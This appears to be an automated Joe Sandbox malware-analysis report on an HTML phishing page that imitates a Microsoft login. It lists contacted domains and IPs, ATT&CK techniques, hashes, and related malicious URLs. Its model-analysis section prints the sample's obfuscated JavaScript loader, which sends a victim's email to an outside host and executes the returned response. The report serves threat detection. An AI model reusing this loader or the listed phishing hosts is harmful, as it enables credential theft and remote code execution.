Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/sample.html

HTTP Parser: file:///C:/Users/user/Desktop/sample.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://fontawesome.io	0%	URL Reputation	safe
http://www.opensource.org/licenses/mit-license.php)	0%	URL Reputation	safe
https://code.jquery.com/jquery-3.1.1.min.js	0%	URL Reputation	safe
http://fontawesome.io/license	0%	URL Reputation	safe
file:///C:/Users/user/Desktop/sample.html	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css	0%	Avira URL Cloud	safe
https://fingerprint.com)	0%	Avira URL Cloud	safe
https://aadcdn.msauthimages.net/dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/bannerlogo?ts=636783560697171089	0%	Avira URL Cloud	safe
http://c7642d242.travelhiltongrandvacations.com/s/5?0	0%	Avira URL Cloud	safe
https://openfpcdn.io/botd/v1	0%	Avira URL Cloud	safe
https://aadcdn.msauthimages.net/dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/illustration?ts=638116536587632547	0%	Avira URL Cloud	safe
http://c7642d242.travelhiltongrandvacations.com/p/31?session=a0036ebb777d9bec704a2424ad3254caf695a8e96781526647f901b8b8091617	0%	Avira URL Cloud	safe
http://c7642d242.travelhiltongrandvacations.com/r/5?session=a0036ebb777d9bec704a2424ad3254caf695a8e96781526647f901b8b8091617	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
openfpcdn.io	13.32.99.97	true	false	unknown
c7642d242.travelhiltongrandvacations.com	104.21.78.175	true	false	unknown
part-0039.t-0009.t-msedge.net	13.107.213.67	true	false	unknown
part-0017.t-0009.t-msedge.net	13.107.213.45	true	false	unknown
code.jquery.com	151.101.66.137	true	true	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
sni1gl.wpc.upsiloncdn.net	152.199.21.175	true	false	unknown
www.google.com	142.250.181.228	true	false	unknown
aadcdn.msauthimages.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://aadcdn.msauthimages.net/dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/bannerlogo?ts=636783560697171089	false	Avira URL Cloud: safe	unknown
http://c7642d242.travelhiltongrandvacations.com/s/5?0	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.1.1.min.js	true	URL Reputation: safe	unknown
file:///C:/Users/user/Desktop/sample.html	true	Avira URL Cloud: safe	unknown
https://openfpcdn.io/botd/v1	false	Avira URL Cloud: safe	unknown
http://c7642d242.travelhiltongrandvacations.com/r/5?session=a0036ebb777d9bec704a2424ad3254caf695a8e96781526647f901b8b8091617	false	Avira URL Cloud: safe	unknown
https://aadcdn.msauthimages.net/dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/illustration?ts=638116536587632547	false	Avira URL Cloud: safe	unknown
http://c7642d242.travelhiltongrandvacations.com/p/31?session=a0036ebb777d9bec704a2424ad3254caf695a8e96781526647f901b8b8091617	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://fingerprint.com)	chromecache_66.2.dr	false	Avira URL Cloud: safe	unknown
http://fontawesome.io	chromecache_65.2.dr	false	URL Reputation: safe	unknown
http://www.opensource.org/licenses/mit-license.php)	chromecache_66.2.dr	false	URL Reputation: safe	unknown
http://fontawesome.io/license	chromecache_65.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
13.32.99.97	openfpcdn.io	United States	16509	AMAZON-02US	false
13.107.213.45	part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.213.67	part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.228	www.google.com	United States	15169	GOOGLEUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	true
152.199.21.175	sni1gl.wpc.upsiloncdn.net	United States	15133	EDGECASTUS	false
104.21.78.175	c7642d242.travelhiltongrandvacations.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446999
Start date and time:	2024-05-24 07:54:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	sample.html
Detection:	MAL
Classification:	mal80.phis.winHTML@14/33@16/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.195, 216.58.212.174, 74.125.133.84, 34.104.35.123, 142.250.185.131, 142.250.181.238
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, aadcdnoriginwus2.azureedge.net, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, aadcdn.azureedge.net, aadcdn.ec.azureedge.net, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information

Input	Output
URL: file:///C:/Users/user/Desktop/sample.html Model: gpt-4o	```json { "riskscore": 9, "reasons": "The JavaScript code appears to be obfuscated and is attempting to send a GET request to a URL that decodes to 'http://travelonfrandvacations.com/s/d/997ac54c46?b51e238161f6=admin@microsoft.com'. The use of obfuscation and the inclusion of an email address in the URL query parameters are strong indicators of malicious intent, potentially phishing or data exfiltration." }
b9f8292540379 = ""['replace'].apply('hf7dba423ttpf7dba423:f7dba423/a38db419/c7a38db41964f7dba4232f7dba423da38db4192f7dba4234f7dba4232.travea38db419lf7dba423hilf7dba423tf7dba423oa38db419nf7dba423graf7dba423nf7dba423da38db419va38db419af7dba423cationa38db419s.ca38db419of7dba423mf7dba423/f7dba423sf7dba423/f7dba423da38db4199f7dba4237a38db419ac5f7dba4234a38db419ca38db41946f7dba4233f7dba423?ba38db4195a38db4191f7dba423ea38db419238f7dba423161a38db419f6a38db419=a38db419admin@microsoft.comf7dba423',[/(f7dba423\|a38db419)/g,""]); eb960da07b = new XMLHttpRequest();eb960da07b.open("GET",b9f8292540379,!!1);eb960da07b['onreadystatechange'] = () => { eb960da07b.readyState === 4 && setTimeout(eb960da07b.responseText,53);};eb960da07b.send();
URL: file:///C:/Users/user/Desktop/sample.html Model: gpt-4o	```json { "phishing_score": 9, "brands": "Microsoft", "phishing": true, "suspicious_domain": true, "has_loginform": true, "has_captcha": false, "setechniques": true, "reasons": "The URL 'file:///C:/Users/user/Desktop/sample.html' is a local file path, not a legitimate domain. The page mimics Microsoft's login page, which is a common target for phishing. The presence of a login form asking for a password and the use of Microsoft's branding are indicative of social engineering techniques." }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
104.17.24.14	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
13.107.213.45	Overview 2023.html	Get hash	malicious	Unknown	Browse
	https://usw2.nyl.as/t1/211/9bl5nlgyxxdd19wwlu9zlj899/0/4f9515399b4920358d1e61769ae80a5f9d1a2ec7871dcf9ba4a7de6d8c500fdc	Get hash	malicious	Unknown	Browse
	http://trq21files6468h65fdtr65g67h85deploy869.pages.dev/	Get hash	malicious	TechSupportScam	Browse
	http://pub-7fd529f896e54cb89ccd931b77e144a6.r2.dev/2024ot.html	Get hash	malicious	HTMLPhisher	Browse
	https://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.dweb.link/	Get hash	malicious	HTMLPhisher	Browse
	https://pub-e075ab4e149d4f35814a7b43f741bb9d.r2.dev/verify.html	Get hash	malicious	HTMLPhisher	Browse
	LHER000698175.xls	Get hash	malicious	Unknown	Browse
	https://assets-fra.mkt.dynamics.com/0cc4a623-6510-ef11-9f83-002248da15fa/digitalassets/standaloneforms/6e39a88b-9710-ef11-9f89-002248d9c773	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse
	https://microsoftedge.microsoft.com/addons/detail/rocketreach-edge-extensio/ldjlhlheoidifojmfkjfijmdhlagakni	Get hash	malicious	Unknown	Browse
	https://cvg.soundestlink.com/ce/c/664ca6751ccee38188772900/664ca68b4377806862523922/664ca6a4ff5940ee5651226c?signature=792c75b9eb10e4c670e5817e159b98793c0887d427c5dd08ed514bd14c9193e4	Get hash	malicious	HTMLPhisher	Browse
13.107.213.67	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Get hash	malicious	HTMLPhisher	Browse
	Overview 2023.html	Get hash	malicious	Unknown	Browse
	http://trq21files6468h65fdtr65g67h85deploy869.pages.dev/	Get hash	malicious	TechSupportScam	Browse
	http://pub-7fd529f896e54cb89ccd931b77e144a6.r2.dev/2024ot.html	Get hash	malicious	HTMLPhisher	Browse
	https://microsoftedge.microsoft.com/addons/detail/rocketreach-edge-extensio/ldjlhlheoidifojmfkjfijmdhlagakni	Get hash	malicious	Unknown	Browse
	https://laurabingham.org/wp-content/plugins/wp-recipe-maker/downexcel.php	Get hash	malicious	Unknown	Browse
	Inventory_Analysis.xls	Get hash	malicious	Unknown	Browse
	https://public-usa.mkt.dynamics.com/api/orgs/73621b0f-9313-ef11-9f85-00224806e526/r/WKmfOruHV0W6ncX4hUVNngQAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fprinttechsurl.com%252F%253Fkvifjwdf%2526qrc%253Dbmitts%2540highlandfunds.com%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=iyIjxuY%2BqqaAcbuKe8o9oixwHYyorXvjpRbJyVpqnp8%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	Get hash	malicious	HTMLPhisher	Browse
	Re_ Bridge Drainage Enquiry.eml	Get hash	malicious	HTMLPhisher	Browse
	https://open.memb.theofficialboard.com/259/42780/c/1000/qW0e==AO2czN1EmMyIDZiJmMykzYwYjZ2QTO0IDZkNGNzUzYj9SZ2lGd1NWZ4V2LyZmLkJXYvJGbhl2YpZmZvVGa05yd3d3LvoDc0RHaj7zmQzvQrZhYUmR6U8gNT1zzqhEU08h8Mvuop0dgR2BEdDs2bzkgPsituVOQ-UYJE241FjvVmRdF8l_RYrsWeydgWxMbNLC1e-3BI-mklFUF5BQlQG3GO2XJaBqa	Get hash	malicious	Unknown	Browse
239.255.255.250	https://perspectivefunnel.co/664fc385b6e1a200142f71ee/664fc45e205ea60014803d49/	Get hash	malicious	Unknown	Browse
	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Get hash	malicious	HTMLPhisher	Browse
	http://qyt8pi.krestologs.com	Get hash	malicious	Unknown	Browse
	Overview 2023.html	Get hash	malicious	Unknown	Browse
	ELECTRONIC RECEIPT_Xfab.html	Get hash	malicious	HTMLPhisher	Browse
	http://birchflarechurch.com	Get hash	malicious	Unknown	Browse
	http://birchflarechurch.com	Get hash	malicious	Unknown	Browse
	attach_request_478000006439785.zip	Get hash	malicious	Unknown	Browse
	https://www.unsubv1.site/	Get hash	malicious	Unknown	Browse
	https://filetransfer.io/data-package/sikJT8Pb/download	Get hash	malicious	HTMLPhisher	Browse
13.32.99.97	https://anacot-my.sharepoint.com/:o:/g/personal/rick_rlv-ltd_com/EiQVkldXJhBOgXxYL-lpENABoHvHD5ORDPU_0JCj4vnc7w?e=yMvKIp	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
part-0039.t-0009.t-msedge.net	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.67
	Overview 2023.html	Get hash	malicious	Unknown	Browse	13.107.213.67
	https://ms-1drive.com/v/794850bf-f104-442e-acb0-475634834dda	Get hash	malicious	Unknown	Browse	13.107.246.67
	http://trq21files6468h65fdtr65g67h85deploy869.pages.dev/	Get hash	malicious	TechSupportScam	Browse	13.107.213.67
	http://pub-7fd529f896e54cb89ccd931b77e144a6.r2.dev/2024ot.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.67
	https://mariobadescu.tyb.xyz/	Get hash	malicious	Unknown	Browse	13.107.246.67
	https://assets-fra.mkt.dynamics.com/0cc4a623-6510-ef11-9f83-002248da15fa/digitalassets/standaloneforms/6e39a88b-9710-ef11-9f89-002248d9c773	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	13.107.246.67
	https://microsoftedge.microsoft.com/addons/detail/rocketreach-edge-extensio/ldjlhlheoidifojmfkjfijmdhlagakni	Get hash	malicious	Unknown	Browse	13.107.246.67
	https://cvg.soundestlink.com/ce/c/664ca6751ccee38188772900/664ca68b4377806862523922/664ca6a4ff5940ee5651226c?signature=792c75b9eb10e4c670e5817e159b98793c0887d427c5dd08ed514bd14c9193e4	Get hash	malicious	HTMLPhisher	Browse	13.107.246.67
	https://laurabingham.org/wp-content/plugins/wp-recipe-maker/downexcel.php	Get hash	malicious	Unknown	Browse	13.107.213.67
part-0017.t-0009.t-msedge.net	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Overview 2023.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://filetransfer.io/data-package/sikJT8Pb/download	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://ms-1drive.com/v/794850bf-f104-442e-acb0-475634834dda	Get hash	malicious	Unknown	Browse	13.107.213.45
	https://usw2.nyl.as/t1/211/9bl5nlgyxxdd19wwlu9zlj899/0/4f9515399b4920358d1e61769ae80a5f9d1a2ec7871dcf9ba4a7de6d8c500fdc	Get hash	malicious	Unknown	Browse	13.107.213.45
	http://trq21files6468h65fdtr65g67h85deploy869.pages.dev/	Get hash	malicious	TechSupportScam	Browse	13.107.213.45
	http://pub-7fd529f896e54cb89ccd931b77e144a6.r2.dev/2024ot.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.45
	http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.dweb.link/	Get hash	malicious	HTMLPhisher	Browse	13.107.213.45
	https://pub-e075ab4e149d4f35814a7b43f741bb9d.r2.dev/verify.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
openfpcdn.io	https://bit.ly/3RPzJ7A	Get hash	malicious	Porn Scam	Browse	3.162.103.56
	https://abrauser.com/login	Get hash	malicious	Unknown	Browse	18.173.166.90
	https://m23eygsggaa.com/web/page/index.php	Get hash	malicious	Unknown	Browse	3.162.103.43
	https://ldddfdder3.com/web/page/index.php	Get hash	malicious	Unknown	Browse	18.154.206.79
	https://cnpqssser3.com/web/page/index.php	Get hash	malicious	Unknown	Browse	18.154.206.55
	https://ldddfdder3.com/web/page/index.php	Get hash	malicious	Unknown	Browse	18.154.206.79
	https://yanabeaest.ycan.shop/	Get hash	malicious	Unknown	Browse	13.226.100.21
	https://bacs-paymentreittance.euroconvrconv.com?e=3D17279616e4061737472616e69732e636f6d	Get hash	malicious	Unknown	Browse	18.165.183.27
	https://protect-eu.mimecast.com/s/n2JSCl51qc6GL4hG2Tjk?domain=moonstonecap-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	13.32.99.33
	https://anacot-my.sharepoint.com/:o:/g/personal/rick_rlv-ltd_com/EiQVkldXJhBOgXxYL-lpENABoHvHD5ORDPU_0JCj4vnc7w?e=yMvKIp	Get hash	malicious	Unknown	Browse	13.32.99.97
code.jquery.com	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	ELECTRONIC RECEIPT_Xfab.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	attach_request_478000006439785.zip	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://filetransfer.io/data-package/sikJT8Pb/download	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://pub-f99e2b2dafd440acb935db5a40c7576b.r2.dev/index.html	Get hash	malicious	Unknown	Browse	151.101.2.137
	http://wegwegwegwefwe.blogspot.mk/	Get hash	malicious	Unknown	Browse	151.101.2.137
	http://akbank-mobilkredim.vercel.app/	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://io-trezorsuite.com/	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://pub-7fd529f896e54cb89ccd931b77e144a6.r2.dev/2024ot.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://ios-trezorsuite.com/	Get hash	malicious	Unknown	Browse	151.101.66.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	hesaphareketi-01.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://perspectivefunnel.co/664fc385b6e1a200142f71ee/664fc45e205ea60014803d49/	Get hash	malicious	Unknown	Browse	104.18.43.31
	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Get hash	malicious	HTMLPhisher	Browse	104.18.3.35
	Payment For order details .exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, zgRAT	Browse	104.26.12.205
	Offer Document 23.lnk	Get hash	malicious	FormBook	Browse	23.227.38.74
	Items.xls	Get hash	malicious	Unknown	Browse	104.21.47.128
	SIEMENS #2427021-S06564.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	seznam objedn#U00e1vek-405598204.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Items.xls	Get hash	malicious	Unknown	Browse	172.67.171.37
	1d#U0422.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
MICROSOFT-CORP-MSN-AS-BLOCKUS	Nisan Temlik #U00f6demeleri Hk.exe	Get hash	malicious	DBatLoader	Browse	13.107.137.11
	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.67
	OjTT5RzE3n.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
	Payment For order details .exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, zgRAT	Browse	13.107.139.11
	Nisan Temlik #U00f6demeleri Hk.exe	Get hash	malicious	DBatLoader	Browse	13.107.137.11
	Items.xls	Get hash	malicious	Unknown	Browse	13.107.246.42
	Overview 2023.html	Get hash	malicious	Unknown	Browse	20.190.159.4
	https://filetransfer.io/data-package/sikJT8Pb/download	Get hash	malicious	HTMLPhisher	Browse	13.107.213.60
	https://ms-1drive.com/v/794850bf-f104-442e-acb0-475634834dda	Get hash	malicious	Unknown	Browse	13.107.139.11
	http://advanceweb-netzero-2023.square.site/	Get hash	malicious	Unknown	Browse	51.104.148.203
MICROSOFT-CORP-MSN-AS-BLOCKUS	Nisan Temlik #U00f6demeleri Hk.exe	Get hash	malicious	DBatLoader	Browse	13.107.137.11
	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.67
	OjTT5RzE3n.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
	Payment For order details .exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, zgRAT	Browse	13.107.139.11
	Nisan Temlik #U00f6demeleri Hk.exe	Get hash	malicious	DBatLoader	Browse	13.107.137.11
	Items.xls	Get hash	malicious	Unknown	Browse	13.107.246.42
	Overview 2023.html	Get hash	malicious	Unknown	Browse	20.190.159.4
	https://filetransfer.io/data-package/sikJT8Pb/download	Get hash	malicious	HTMLPhisher	Browse	13.107.213.60
	https://ms-1drive.com/v/794850bf-f104-442e-acb0-475634834dda	Get hash	malicious	Unknown	Browse	13.107.139.11
	http://advanceweb-netzero-2023.square.site/	Get hash	malicious	Unknown	Browse	51.104.148.203
AMAZON-02US	https://perspectivefunnel.co/664fc385b6e1a200142f71ee/664fc45e205ea60014803d49/	Get hash	malicious	Unknown	Browse	13.224.189.74
	nF54KOU30R.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.192.141.1
	https://www.unsubv1.site/	Get hash	malicious	Unknown	Browse	54.73.26.109
	https://url.au.m.mimecastprotect.com/s/uuv2CgZowrsOpyOOc26VTV?domain=in.xero.com	Get hash	malicious	Unknown	Browse	52.18.219.127
	https://shop.ketochow.xyz/	Get hash	malicious	Unknown	Browse	13.32.99.84
	https://in.xero.com/7hv8mDuF13K6MICiXjOmyJk92EdbNVBSqtgAvYsV	Get hash	malicious	Unknown	Browse	52.222.236.71
	https://in.xero.com/7hv8mDuF13K6MICiXjOmyJk92EdbNVBSqtgAvYsV	Get hash	malicious	Unknown	Browse	13.33.187.74
	http://toenpocket.pro/	Get hash	malicious	HTMLPhisher	Browse	13.124.82.135
	http://wuyouo.cn/	Get hash	malicious	Unknown	Browse	108.139.243.14
	https://pub-f99e2b2dafd440acb935db5a40c7576b.r2.dev/index.html	Get hash	malicious	Unknown	Browse	52.58.254.253

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://perspectivefunnel.co/664fc385b6e1a200142f71ee/664fc45e205ea60014803d49/	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26 184.28.90.27
	http://qyt8pi.krestologs.com	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	http://birchflarechurch.com	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	attach_request_478000006439785.zip	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	https://www.unsubv1.site/	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	https://filetransfer.io/data-package/sikJT8Pb/download	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26 184.28.90.27
	https://url.au.m.mimecastprotect.com/s/uuv2CgZowrsOpyOOc26VTV?domain=in.xero.com	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	https://in.xero.com/7hv8mDuF13K6MICiXjOmyJk92EdbNVBSqtgAvYsV	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	http://cctv.hotmail.cloudns.org/	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri May 24 04:54:45 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9882321877388915
Encrypted:	false
SSDEEP:	48:80d+gTekP6H/idAKZdA1FehwiZUklqehvty+3:8XgyoKGy
MD5:	F445BCEA0C1CDF3BFA7921EA6F129778
SHA1:	4915EAC3787FC76DE2B98F93C1B1DCCAFF391970
SHA-256:	634CCB5CCB812F8A315C3BCCD313049924279E3F762E969BF0A5822F786D4325
SHA-512:	A4B7BAAC4F0F99FE5414ED514B0EB91C643D198E7D3255EB6A1B4CDB5870EB73F46B95B8C3CBFE8C23BB4337A4FD309C7335411E1B1D1D93F56290BFD395DF3B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....X.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri May 24 04:54:45 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.004599612584523
Encrypted:	false
SSDEEP:	48:8jd+gTekP6H/idAKZdA1seh/iZUkAQkqehwty+2:8kgyok9Qby
MD5:	3AF64C0E8E30E460A789E811D7E31168
